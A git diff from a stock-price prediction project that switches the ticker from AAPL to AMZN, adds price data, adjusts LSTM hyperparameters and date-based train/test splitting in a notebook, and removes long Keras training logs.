-2019-11-20,265.5400085449219,266.0799865722656,260.3999938964844,263.19000244140625,262.5668640136719,26558600.0,AAPL
-2019-11-21,263.69000244140625,264.010009765625,261.17999267578125,262.010009765625,261.3896484375,30348800.0,AAPL
-2019-11-22,262.5899963378906,263.17999267578125,260.8399963378906,261.7799987792969,261.1601867675781,16331300.0,AAPL
-2019-11-25,262.7099914550781,266.44000244140625,262.5199890136719,266.3699951171875,265.73931884765625,21005100.0,AAPL
-2019-11-26,266.94000244140625,267.1600036621094,262.5,264.2900085449219,263.66424560546875,26301900.0,AAPL
-2019-11-27,265.5799865722656,267.9800109863281,265.30999755859375,267.8399963378906,267.2058410644531,16308900.0,AAPL
-2019-11-29,266.6000061035156,268.0,265.8999938964844,267.25,266.61724853515625,11654400.0,AAPL
-2019-12-02,267.2699890136719,268.25,263.45001220703125,264.1600036621094,263.5345458984375,23621800.0,AAPL
-2019-12-03,258.30999755859375,259.5299987792969,256.2900085449219,259.45001220703125,258.8357238769531,28607600.0,AAPL
-2019-12-04,261.07000732421875,263.30999755859375,260.67999267578125,261.739990234375,261.1202697753906,16795400.0,AAPL
-2019-12-05,263.7900085449219,265.8900146484375,262.7300109863281,265.5799865722656,264.951171875,18606100.0,AAPL
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diff --git a/machine-learning/stock-prediction/data/AMZN_2021-05-31.csv b/machine-learning/stock-prediction/data/AMZN_2021-05-31.csv
new file mode 100644
index 00000000..41c1d73e
--- /dev/null
+++ b/machine-learning/stock-prediction/data/AMZN_2021-05-31.csv
@@ -0,0 +1,6051 @@
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diff --git a/machine-learning/stock-prediction/parameters.py b/machine-learning/stock-prediction/parameters.py
index 58c73bba..c1afed3b 100644
--- a/machine-learning/stock-prediction/parameters.py
+++ b/machine-learning/stock-prediction/parameters.py
@@ -2,12 +2,20 @@
import time
from tensorflow.keras.layers import LSTM
-
# Window size or the sequence length
-N_STEPS = 70
+N_STEPS = 50
# Lookup step, 1 is the next day
-LOOKUP_STEP = 1
-
+LOOKUP_STEP = 15
+
+# whether to scale feature columns & output price as well
+SCALE = True
+scale_str = f"sc-{int(SCALE)}"
+# whether to shuffle the dataset
+SHUFFLE = True
+shuffle_str = f"sh-{int(SHUFFLE)}"
+# whether to split the training/testing set by date
+SPLIT_BY_DATE = False
+split_by_date_str = f"sbd-{int(SPLIT_BY_DATE)}"
# test ratio size, 0.2 is 20%
TEST_SIZE = 0.2
# features to use
@@ -17,7 +25,7 @@
### model parameters
-N_LAYERS = 3
+N_LAYERS = 2
# LSTM cell
CELL = LSTM
# 256 LSTM neurons
@@ -35,12 +43,13 @@
LOSS = "huber_loss"
OPTIMIZER = "adam"
BATCH_SIZE = 64
-EPOCHS = 400
+EPOCHS = 500
-# Apple stock market
-ticker = "AAPL"
+# Amazon stock market
+ticker = "AMZN"
ticker_data_filename = os.path.join("data", f"{ticker}_{date_now}.csv")
# model name to save, making it as unique as possible based on parameters
-model_name = f"{date_now}_{ticker}-{LOSS}-{OPTIMIZER}-{CELL.__name__}-seq-{N_STEPS}-step-{LOOKUP_STEP}-layers-{N_LAYERS}-units-{UNITS}"
+model_name = f"{date_now}_{ticker}-{shuffle_str}-{scale_str}-{split_by_date_str}-\
+{LOSS}-{OPTIMIZER}-{CELL.__name__}-seq-{N_STEPS}-step-{LOOKUP_STEP}-layers-{N_LAYERS}-units-{UNITS}"
if BIDIRECTIONAL:
model_name += "-b"
\ No newline at end of file
diff --git a/machine-learning/stock-prediction/results/2021-05-31_AMZN-sh-1-sc-1-sbd-0-huber_loss-adam-LSTM-seq-50-step-15-layers-2-units-256.h5 b/machine-learning/stock-prediction/results/2021-05-31_AMZN-sh-1-sc-1-sbd-0-huber_loss-adam-LSTM-seq-50-step-15-layers-2-units-256.h5
new file mode 100644
index 00000000..05d38516
Binary files /dev/null and b/machine-learning/stock-prediction/results/2021-05-31_AMZN-sh-1-sc-1-sbd-0-huber_loss-adam-LSTM-seq-50-step-15-layers-2-units-256.h5 differ
diff --git a/machine-learning/stock-prediction/stock_prediction.ipynb b/machine-learning/stock-prediction/stock_prediction.ipynb
index b3ff3c0d..776bf72f 100644
--- a/machine-learning/stock-prediction/stock_prediction.ipynb
+++ b/machine-learning/stock-prediction/stock_prediction.ipynb
@@ -2,7 +2,7 @@
"cells": [
{
"cell_type": "code",
- "execution_count": 1,
+ "execution_count": null,
"metadata": {},
"outputs": [],
"source": [
@@ -12,21 +12,18 @@
"from tensorflow.keras.callbacks import ModelCheckpoint, TensorBoard\n",
"from sklearn import preprocessing\n",
"from sklearn.model_selection import train_test_split\n",
- "from sklearn.metrics import accuracy_score\n",
"from yahoo_fin import stock_info as si\n",
"from collections import deque\n",
"\n",
+ "import os\n",
"import numpy as np\n",
"import pandas as pd\n",
- "import matplotlib.pyplot as plt\n",
- "import time\n",
- "import os\n",
"import random"
]
},
{
"cell_type": "code",
- "execution_count": 2,
+ "execution_count": null,
"metadata": {},
"outputs": [],
"source": [
@@ -38,21 +35,28 @@
},
{
"cell_type": "code",
- "execution_count": 3,
+ "execution_count": null,
"metadata": {},
"outputs": [],
"source": [
- "## Hyper-parameters\n",
"import os\n",
"import time\n",
"from tensorflow.keras.layers import LSTM\n",
"\n",
- "\n",
"# Window size or the sequence length\n",
- "N_STEPS = 70\n",
+ "N_STEPS = 50\n",
"# Lookup step, 1 is the next day\n",
- "LOOKUP_STEP = 1\n",
- "\n",
+ "LOOKUP_STEP = 15\n",
+ "\n",
+ "# whether to scale feature columns & output price as well\n",
+ "SCALE = True\n",
+ "scale_str = f\"sc-{int(SCALE)}\"\n",
+ "# whether to shuffle the dataset\n",
+ "SHUFFLE = True\n",
+ "shuffle_str = f\"sh-{int(SHUFFLE)}\"\n",
+ "# whether to split the training/testing set by date\n",
+ "SPLIT_BY_DATE = False\n",
+ "split_by_date_str = f\"sbd-{int(SPLIT_BY_DATE)}\"\n",
"# test ratio size, 0.2 is 20%\n",
"TEST_SIZE = 0.2\n",
"# features to use\n",
@@ -62,7 +66,7 @@
"\n",
"### model parameters\n",
"\n",
- "N_LAYERS = 3\n",
+ "N_LAYERS = 2\n",
"# LSTM cell\n",
"CELL = LSTM\n",
"# 256 LSTM neurons\n",
@@ -80,24 +84,33 @@
"LOSS = \"huber_loss\"\n",
"OPTIMIZER = \"adam\"\n",
"BATCH_SIZE = 64\n",
- "EPOCHS = 400\n",
+ "EPOCHS = 500\n",
"\n",
- "# Apple stock market\n",
- "ticker = \"AAPL\"\n",
+ "# Amazon stock market\n",
+ "ticker = \"AMZN\"\n",
"ticker_data_filename = os.path.join(\"data\", f\"{ticker}_{date_now}.csv\")\n",
"# model name to save, making it as unique as possible based on parameters\n",
- "model_name = f\"{date_now}_{ticker}-{LOSS}-{OPTIMIZER}-{CELL.__name__}-seq-{N_STEPS}-step-{LOOKUP_STEP}-layers-{N_LAYERS}-units-{UNITS}\"\n",
+ "model_name = f\"{date_now}_{ticker}-{shuffle_str}-{scale_str}-{split_by_date_str}-\\\n",
+ "{LOSS}-{OPTIMIZER}-{CELL.__name__}-seq-{N_STEPS}-step-{LOOKUP_STEP}-layers-{N_LAYERS}-units-{UNITS}\"\n",
"if BIDIRECTIONAL:\n",
" model_name += \"-b\""
]
},
{
"cell_type": "code",
- "execution_count": 4,
+ "execution_count": null,
"metadata": {},
"outputs": [],
"source": [
- "def load_data(ticker, n_steps=50, scale=True, shuffle=True, lookup_step=1, \n",
+ "def shuffle_in_unison(a, b):\n",
+ " # shuffle two arrays in the same way\n",
+ " state = np.random.get_state()\n",
+ " np.random.shuffle(a)\n",
+ " np.random.set_state(state)\n",
+ " np.random.shuffle(b)\n",
+ "\n",
+ "\n",
+ "def load_data(ticker, n_steps=50, scale=True, shuffle=True, lookup_step=1, split_by_date=True,\n",
" test_size=0.2, feature_columns=['adjclose', 'volume', 'open', 'high', 'low']):\n",
" \"\"\"\n",
" Loads data from Yahoo Finance source, as well as scaling, shuffling, normalizing and splitting.\n",
@@ -105,8 +118,10 @@
" ticker (str/pd.DataFrame): the ticker you want to load, examples include AAPL, TESL, etc.\n",
" n_steps (int): the historical sequence length (i.e window size) used to predict, default is 50\n",
" scale (bool): whether to scale prices from 0 to 1, default is True\n",
- " shuffle (bool): whether to shuffle the data, default is True\n",
+ " shuffle (bool): whether to shuffle the dataset (both training & testing), default is True\n",
" lookup_step (int): the future lookup step to predict, default is 1 (e.g next day)\n",
+ " split_by_date (bool): whether we split the dataset into training/testing by date, setting it \n",
+ " to False will split datasets in a random way\n",
" test_size (float): ratio for test data, default is 0.2 (20% testing data)\n",
" feature_columns (list): the list of features to use to feed into the model, default is everything grabbed from yahoo_fin\n",
" \"\"\"\n",
@@ -129,6 +144,10 @@
" for col in feature_columns:\n",
" assert col in df.columns, f\"'{col}' does not exist in the dataframe.\"\n",
"\n",
+ " # add date as a column\n",
+ " if \"date\" not in df.columns:\n",
+ " df[\"date\"] = df.index\n",
+ "\n",
" if scale:\n",
" column_scaler = {}\n",
" # scale the data (prices) from 0 to 1\n",
@@ -153,17 +172,16 @@
" sequence_data = []\n",
" sequences = deque(maxlen=n_steps)\n",
"\n",
- " for entry, target in zip(df[feature_columns].values, df['future'].values):\n",
+ " for entry, target in zip(df[feature_columns + [\"date\"]].values, df['future'].values):\n",
" sequences.append(entry)\n",
" if len(sequences) == n_steps:\n",
" sequence_data.append([np.array(sequences), target])\n",
"\n",
" # get the last sequence by appending the last `n_step` sequence with `lookup_step` sequence\n",
- " # for instance, if n_steps=50 and lookup_step=10, last_sequence should be of 59 (that is 50+10-1) length\n",
- " # this last_sequence will be used to predict in future dates that are not available in the dataset\n",
- " last_sequence = list(sequences) + list(last_sequence)\n",
- " # shift the last sequence by -1\n",
- " last_sequence = np.array(pd.DataFrame(last_sequence).shift(-1).dropna())\n",
+ " # for instance, if n_steps=50 and lookup_step=10, last_sequence should be of 60 (that is 50+10) length\n",
+ " # this last_sequence will be used to predict future stock prices that are not available in the dataset\n",
+ " last_sequence = list([s[:len(feature_columns)] for s in sequences]) + list(last_sequence)\n",
+ " last_sequence = np.array(last_sequence).astype(np.float32)\n",
" # add to result\n",
" result['last_sequence'] = last_sequence\n",
" \n",
@@ -177,32 +195,51 @@
" X = np.array(X)\n",
" y = np.array(y)\n",
"\n",
- " # reshape X to fit the neural network\n",
- " X = X.reshape((X.shape[0], X.shape[2], X.shape[1]))\n",
- " \n",
- " # split the dataset\n",
- " result[\"X_train\"], result[\"X_test\"], result[\"y_train\"], result[\"y_test\"] = train_test_split(X, y, \n",
+ " if split_by_date:\n",
+ " # split the dataset into training & testing sets by date (not randomly splitting)\n",
+ " train_samples = int((1 - test_size) * len(X))\n",
+ " result[\"X_train\"] = X[:train_samples]\n",
+ " result[\"y_train\"] = y[:train_samples]\n",
+ " result[\"X_test\"] = X[train_samples:]\n",
+ " result[\"y_test\"] = y[train_samples:]\n",
+ " if shuffle:\n",
+ " # shuffle the datasets for training (if shuffle parameter is set)\n",
+ " shuffle_in_unison(result[\"X_train\"], result[\"y_train\"])\n",
+ " shuffle_in_unison(result[\"X_test\"], result[\"y_test\"])\n",
+ " else: \n",
+ " # split the dataset randomly\n",
+ " result[\"X_train\"], result[\"X_test\"], result[\"y_train\"], result[\"y_test\"] = train_test_split(X, y, \n",
" test_size=test_size, shuffle=shuffle)\n",
- " # return the result\n",
+ "\n",
+ " # get the list of test set dates\n",
+ " dates = result[\"X_test\"][:, -1, -1]\n",
+ " # retrieve test features from the original dataframe\n",
+ " result[\"test_df\"] = result[\"df\"].loc[dates]\n",
+ " # remove duplicated dates in the testing dataframe\n",
+ " result[\"test_df\"] = result[\"test_df\"][~result[\"test_df\"].index.duplicated(keep='first')]\n",
+ " # remove dates from the training/testing sets & convert to float32\n",
+ " result[\"X_train\"] = result[\"X_train\"][:, :, :len(feature_columns)].astype(np.float32)\n",
+ " result[\"X_test\"] = result[\"X_test\"][:, :, :len(feature_columns)].astype(np.float32)\n",
+ "\n",
" return result"
]
},
{
"cell_type": "code",
- "execution_count": 5,
+ "execution_count": null,
"metadata": {},
"outputs": [],
"source": [
- "def create_model(sequence_length, units=256, cell=LSTM, n_layers=2, dropout=0.3,\n",
+ "def create_model(sequence_length, n_features, units=256, cell=LSTM, n_layers=2, dropout=0.3,\n",
" loss=\"mean_absolute_error\", optimizer=\"rmsprop\", bidirectional=False):\n",
" model = Sequential()\n",
" for i in range(n_layers):\n",
" if i == 0:\n",
" # first layer\n",
" if bidirectional:\n",
- " model.add(Bidirectional(cell(units, return_sequences=True), input_shape=(None, sequence_length)))\n",
+ " model.add(Bidirectional(cell(units, return_sequences=True), batch_input_shape=(None, sequence_length, n_features)))\n",
" else:\n",
- " model.add(cell(units, return_sequences=True, input_shape=(None, sequence_length)))\n",
+ " model.add(cell(units, return_sequences=True, batch_input_shape=(None, sequence_length, n_features)))\n",
" elif i == n_layers - 1:\n",
" # last layer\n",
" if bidirectional:\n",
@@ -224,769 +261,13 @@
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{
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- "text": "/7845 [============================>.] - ETA: 0s - loss: 1.0049e-04 - mean_absolute_error: 0.0085\nEpoch 00342: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 238us/sample - loss: 1.0049e-04 - mean_absolute_error: 0.0085 - val_loss: 3.6804e-05 - val_mean_absolute_error: 0.0048\nEpoch 343/400\n7744/7845 [============================>.] - ETA: 0s - loss: 1.0413e-04 - mean_absolute_error: 0.0083\nEpoch 00343: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 237us/sample - loss: 1.0436e-04 - mean_absolute_error: 0.0083 - val_loss: 3.5577e-05 - val_mean_absolute_error: 0.0051\nEpoch 344/400\n7616/7845 [============================>.] - ETA: 0s - loss: 1.0095e-04 - mean_absolute_error: 0.0084\nEpoch 00344: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 249us/sample - loss: 1.0200e-04 - mean_absolute_error: 0.0084 - val_loss: 4.6649e-05 - val_mean_absolute_error: 0.0062\nEpoch 345/400\n7744/7845 [============================>.] - ETA: 0s - loss: 9.8952e-05 - mean_absolute_error: 0.0084\nEpoch 00345: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 241us/sample - loss: 9.8821e-05 - mean_absolute_error: 0.0084 - val_loss: 4.7311e-05 - val_mean_absolute_error: 0.0061\nEpoch 346/400\n7808/7845 [============================>.] - ETA: 0s - loss: 1.0634e-04 - mean_absolute_error: 0.0085\nEpoch 00346: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 237us/sample - loss: 1.0601e-04 - mean_absolute_error: 0.0085 - val_loss: 3.7422e-05 - val_mean_absolute_error: 0.0049\nEpoch 347/400\n7744/7845 [============================>.] - ETA: 0s - loss: 1.0303e-04 - mean_absolute_error: 0.0086\nEpoch 00347: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 240us/sample - loss: 1.0328e-04 - mean_absolute_error: 0.0086 - val_loss: 5.2242e-05 - val_mean_absolute_error: 0.0054\nEpoch 348/400\n7680/7845 [============================>.] - ETA: 0s - loss: 9.5551e-05 - mean_absolute_error: 0.0082\nEpoch 00348: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 241us/sample - loss: 9.4689e-05 - mean_absolute_error: 0.0082 - val_loss: 2.8914e-05 - val_mean_absolute_error: 0.0051\nEpoch 349/400\n7808/7845 [============================>.] - ETA: 0s - loss: 9.5323e-05 - mean_absolute_error: 0.0082\nEpoch 00349: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 237us/sample - loss: 9.5218e-05 - mean_absolute_error: 0.0082 - val_loss: 3.4655e-05 - val_mean_absolute_error: 0.0044\nEpoch 350/400\n7680/7845 [============================>.] - ETA: 0s - loss: 1.0109e-04 - mean_absolute_error: 0.0084\nEpoch 00350: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 240us/sample - loss: 1.0236e-04 - mean_absolute_error: 0.0084 - val_loss: 2.9309e-05 - val_mean_absolute_error: 0.0046\nEpoch 351/400\n7808/7845 [============================>.] - ETA: 0s - loss: 9.2117e-05 - mean_absolute_error: 0.0082\nEpoch 00351: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 246us/sample - loss: 9.2067e-05 - mean_absolute_error: 0.0082 - val_loss: 2.7584e-05 - val_mean_absolute_error: 0.0042\nEpoch 352/400\n7744/7845 [============================>.] - ETA: 0s - loss: 1.1017e-04 - mean_absolute_error: 0.0086\nEpoch 00352: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 240us/sample - loss: 1.0960e-04 - mean_absolute_error: 0.0085 - val_loss: 3.8670e-05 - val_mean_absolute_error: 0.0046\nEpoch 353/400\n7616/7845 [============================>.] - ETA: 0s - loss: 9.5023e-05 - mean_absolute_error: 0.0081\nEpoch 00353: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 243us/sample - loss: 9.4544e-05 - mean_absolute_error: 0.0081 - val_loss: 2.7894e-05 - val_mean_absolute_error: 0.0041\nEpoch 354/400\n7680/7845 [============================>.] - ETA: 0s - loss: 1.0254e-04 - mean_absolute_error: 0.0082\nEpoch 00354: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 245us/sample - loss: 1.0216e-04 - mean_absolute_error: 0.0082 - val_loss: 4.0644e-05 - val_mean_absolute_error: 0.0045\nEpoch 355/400\n7808/7845 [============================>.] - ETA: 0s - loss: 9.9838e-05 - mean_absolute_error: 0.0083\nEpoch 00355: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 238us/sample - loss: 9.9719e-05 - mean_absolute_error: 0.0083 - val_loss: 3.0785e-05 - val_mean_absolute_error: 0.0038\nEpoch 356/400\n7680/7845 [============================>.] - ETA: 0s - loss: 9.1214e-05 - mean_absolute_error: 0.0081\nEpoch 00356: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 242us/sample - loss: 9.1386e-05 - mean_absolute_error: 0.0081 - val_loss: 3.2558e-05 - val_mean_absolute_error: 0.0049\nEpoch 357/400\n7744/7845 [============================>.] - ETA: 0s - loss: 9.3233e-05 - mean_absolute_error: 0.0081\nEpoch 00357: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 241us/sample - loss: 9.2841e-05 - mean_absolute_error: 0.0081 - val_loss: 2.8253e-05 - val_mean_absolute_error: 0.0038\nEpoch 358/400\n7808/7845 [============================>.] - ETA: 0s - loss: 9.7001e-05 - mean_absolute_error: 0.0082\nEpoch 00358: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 238us/sample - loss: 9.6795e-05 - mean_absolute_error: 0.0082 - val_loss: 3.6283e-05 - val_mean_absolute_error: 0.0052\nEpoch 359/400\n7744/7845 [============================>.] - ETA: 0s - loss: 9.4018e-05 - mean_absolute_error: 0.0082\nEpoch 00359: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 238us/sample - loss: 9.3742e-05 - mean_absolute_error: 0.0082 - val_loss: 3.8966e-05 - val_mean_absolute_error: 0.0045\nEpoch 360/400\n7808/7845 [============================>.] - ETA: 0s - loss: 1.1265e-04 - mean_absolute_error: 0.0086\nEpoch 00360: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 255us/sample - loss: 1.1252e-04 - mean_absolute_error: 0.0086 - val_loss: 4.2502e-05 - val_mean_absolute_error: 0.0062\nEpoch 361/400\n7808/7845 [============================>.] - ETA: 0s - loss: 1.0046e-04 - mean_absolute_error: 0.0083\nEpoch 00361: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 241us/sample - loss: 1.0045e-04 - mean_absolute_error: 0.0083 - val_loss: 3.1767e-05 - val_mean_absolute_error: 0.0038\nEpoch 362/400\n7744/7845 [============================>.] - ETA: 0s - loss: 9.6965e-05 - mean_absolute_error: 0.0082\nEpoch 00362: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 239us/sample - loss: 9.6211e-05 - mean_absolute_error: 0.0082 - val_loss: 3.2622e-05 - val_mean_absolute_error: 0.0051\nEpoch 363/400\n7680/7845 [============================>.] - ETA: 0s - loss: 9.9916e-05 - mean_absolute_error: 0.0084\nEpoch 00363: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 268us/sample - loss: 9.8830e-05 - mean_absolute_error: 0.0084 - val_loss: 4.9724e-05 - val_mean_absolute_error: 0.0042\nEpoch 364/400\n7744/7845 [============================>.] - ETA: 0s - loss: 9.2970e-05 - mean_absolute_error: 0.0082\nEpoch 00364: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 240us/sample - loss: 9.3227e-05 - mean_absolute_error: 0.0083 - val_loss: 3.9159e-05 - val_mean_absolute_error: 0.0051\nEpoch 365/400\n7616/7845 [============================>.] - ETA: 0s - loss: 9.4369e-05 - mean_absolute_error: 0.0081\nEpoch 00365: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 237us/sample - loss: 9.4021e-05 - mean_absolute_error: 0.0081 - val_loss: 5.3123e-05 - val_mean_absolute_error: 0.0055\nEpoch 366/400\n7680/7845 [============================>.] - ETA: 0s - loss: 9.6416e-05 - mean_absolute_error: 0.0083\nEpoch 00366: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 240us/sample - loss: 9.5344e-05 - mean_absolute_error: 0.0082 - val_loss: 3.9583e-05 - val_mean_absolute_error: 0.0042\nEpoch 367/400\n7744/7845 [============================>.] - ETA: 0s - loss: 9.3304e-05 - mean_absolute_error: 0.0080\nEpoch 00367: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 238us/sample - loss: 9.4024e-05 - mean_absolute_error: 0.0080 - val_loss: 3.3550e-05 - val_mean_absolute_error: 0.0045\nEpoch 368/400\n7680/7845 [============================>.] - ETA: 0s - loss: 1.0465e-04 - mean_absolute_error: 0.0084\nEpoch 00368: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 243us/sample - loss: 1.0483e-04 - mean_absolute_error: 0.0084 - val_loss: 3.9235e-05 - val_mean_absolute_error: 0.0043\nEpoch 369/400\n7680/7845 [============================>.] - ETA: 0s - loss: 9.8507e-05 - mean_absolute_error: 0.0084\nEpoch 00369: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 241us/sample - loss: 9.7897e-05 - mean_absolute_error: 0.0084 - val_loss: 3.6304e-05 - val_mean_absolute_error: 0.0051\nEpoch 370/400\n7744/7845 [============================>.] - ETA: 0s - loss: 8.8661e-05 - mean_absolute_error: 0.0080\nEpoch 00370: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 240us/sample - loss: 8.8468e-05 - mean_absolute_error: 0.0080 - val_loss: 3.6597e-05 - val_mean_absolute_error: 0.0042\nEpoch 371/400\n7744/7845 [============================>.] - ETA: 0s - loss: 9.3120e-05 - mean_absolute_error: 0.0081\nEpoch 00371: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 241us/sample - loss: 9.4337e-05 - mean_absolute_error: 0.0081 - val_loss: 4.1640e-05 - val_mean_absolute_error: 0.0053\nEpoch 372/400\n7744/7845 [============================>.] - ETA: 0s - loss: 9.0803e-05 - mean_absolute_error: 0.0081\nEpoch 00372: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 240us/sample - loss: 9.0883e-05 - mean_absolute_error: 0.0081 - val_loss: 3.1984e-05 - val_mean_absolute_error: 0.0040\nEpoch 373/400\n7680/7845 [============================>.] - ETA: 0s - loss: 9.8615e-05 - mean_absolute_error: 0.0082\nEpoch 00373: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 243us/sample - loss: 9.8467e-05 - mean_absolute_error: 0.0082 - val_loss: 2.6773e-05 - val_mean_absolute_error: 0.0037\nEpoch 374/400\n7808/7845 [============================>.] - ETA: 0s - loss: 9.6735e-05 - mean_absolute_error: 0.0082\nEpoch 00374: val_loss improved from 0.00003 to 0.00003, saving model to results\\2020-04-28_AAPL-huber_loss-adam-LSTM-seq-100-step-20-layers-3-units-256.h5\n7845/7845 [==============================] - 2s 241us/sample - loss: 9.6666e-05 - mean_absolute_error: 0.0082 - val_loss: 2.5108e-05 - val_mean_absolute_error: 0.0039\nEpoch 375/400\n7680/7845 [============================>.] - ETA: 0s - loss: 9.2388e-05 - mean_absolute_error: 0.0080\nEpoch 00375: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 243us/sample - loss: 9.3814e-05 - mean_absolute_error: 0.0081 - val_loss: 2.8615e-05 - val_mean_absolute_error: 0.0041\nEpoch 376/400\n7808/7845 [============================>.] - ETA: 0s - loss: 9.0247e-05 - mean_absolute_error: 0.0081\nEpoch 00376: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 250us/sample - loss: 9.0134e-05 - mean_absolute_error: 0.0081 - val_loss: 3.0442e-05 - val_mean_absolute_error: 0.0052\nEpoch 377/400\n7744/7845 [============================>.] - ETA: 0s - loss: 1.0059e-04 - mean_absolute_error: 0.0084\nEpoch 00377: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 238us/sample - loss: 9.9885e-05 - mean_absolute_error: 0.0083 - val_loss: 3.1755e-05 - val_mean_absolute_error: 0.0039\nEpoch 378/400\n7680/7845 [============================>.] - ETA: 0s - loss: 8.6334e-05 - mean_absolute_error: 0.0080\nEpoch 00378: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 242us/sample - loss: 8.6847e-05 - mean_absolute_error: 0.0080 - val_loss: 3.0288e-05 - val_mean_absolute_error: 0.0040\nEpoch 379/400\n7744/7845 [============================>.] - ETA: 0s - loss: 9.8619e-05 - mean_absolute_error: 0.0082\nEpoch 00379: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 238us/sample - loss: 9.8534e-05 - mean_absolute_error: 0.0082 - val_loss: 5.3537e-05 - val_mean_absolute_error: 0.0046\nEpoch 380/400\n7744/7845 [============================>.] - ETA: 0s - loss: 8.9094e-05 - mean_absolute_error: 0.0081\nEpoch 00380: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 241us/sample - loss: 8.8696e-05 - mean_absolute_error: 0.0081 - val_loss: 2.8393e-05 - val_mean_absolute_error: 0.0044\nEpoch 381/400\n7744/7845 [============================>.] - ETA: 0s - loss: 8.3325e-05 - mean_absolute_error: 0.0078\nEpoch 00381: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 242us/sample - loss: 8.3081e-05 - mean_absolute_error: 0.0078 - val_loss: 4.0752e-05 - val_mean_absolute_error: 0.0049\nEpoch 382/400\n7744/7845 [============================>.] - ETA: 0s - loss: 1.0078e-04 - mean_absolute_error: 0.0082\nEpoch 00382: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 241us/sample - loss: 1.0036e-04 - mean_absolute_error: 0.0082 - val_loss: 3.2613e-05 - val_mean_absolute_error: 0.0039\nEpoch 383/400\n7744/7845 [============================>.] - ETA: 0s - loss: 1.0006e-04 - mean_absolute_error: 0.0083\nEpoch 00383: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 243us/sample - loss: 1.0024e-04 - mean_absolute_error: 0.0083 - val_loss: 2.7228e-05 - val_mean_absolute_error: 0.0044\nEpoch 384/400\n7808/7845 [============================>.] - ETA: 0s - loss: 1.0005e-04 - mean_absolute_error: 0.0083\nEpoch 00384: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 242us/sample - loss: 9.9863e-05 - mean_absolute_error: 0.0083 - val_loss: 2.7866e-05 - val_mean_absolute_error: 0.0044\nEpoch 385/400\n7744/7845 [============================>.] - ETA: 0s - loss: 8.9173e-05 - mean_absolute_error: 0.0081\nEpoch 00385: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 241us/sample - loss: 8.9287e-05 - mean_absolute_error: 0.0081 - val_loss: 3.0670e-05 - val_mean_absolute_error: 0.0041\nEpoch 386/400\n7808/7845 [============================>.] - ETA: 0s - loss: 9.2664e-05 - mean_absolute_error: 0.0082\nEpoch 00386: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 240us/sample - loss: 9.2723e-05 - mean_absolute_error: 0.0082 - val_loss: 3.0496e-05 - val_mean_absolute_error: 0.0040\nEpoch 387/400\n7744/7845 [============================>.] - ETA: 0s - loss: 9.3552e-05 - mean_absolute_error: 0.0081\nEpoch 00387: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 241us/sample - loss: 9.3470e-05 - mean_absolute_error: 0.0081 - val_loss: 2.6446e-05 - val_mean_absolute_error: 0.0037\nEpoch 388/400\n7616/7845 [============================>.] - ETA: 0s - loss: 9.5983e-05 - mean_absolute_error: 0.0081\nEpoch 00388: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 243us/sample - loss: 9.6157e-05 - mean_absolute_error: 0.0081 - val_loss: 4.2435e-05 - val_mean_absolute_error: 0.0046\nEpoch 389/400\n7680/7845 [============================>.] - ETA: 0s - loss: 9.9344e-05 - mean_absolute_error: 0.0082\nEpoch 00389: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 240us/sample - loss: 9.8624e-05 - mean_absolute_error: 0.0082 - val_loss: 4.3023e-05 - val_mean_absolute_error: 0.0054\nEpoch 390/400\n7744/7845 [============================>.] - ETA: 0s - loss: 9.3577e-05 - mean_absolute_error: 0.0080\nEpoch 00390: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 240us/sample - loss: 9.3351e-05 - mean_absolute_error: 0.0080 - val_loss: 2.9023e-05 - val_mean_absolute_error: 0.0042\nEpoch 391/400\n7808/7845 [============================>.] - ETA: 0s - loss: 9.5114e-05 - mean_absolute_error: 0.0080\nEpoch 00391: val_loss did not improve from 0.00003\n7845/7845 [==============================] - 2s 250us/sample - loss: 9.4887e-05 - mean_absolute_error: 0.0080 - val_loss: 2.7452e-05 - val_mean_absolute_error: 0.0035\nEpoch 392/400\n7680/7845 [============================>.] - ETA: 0s - loss: 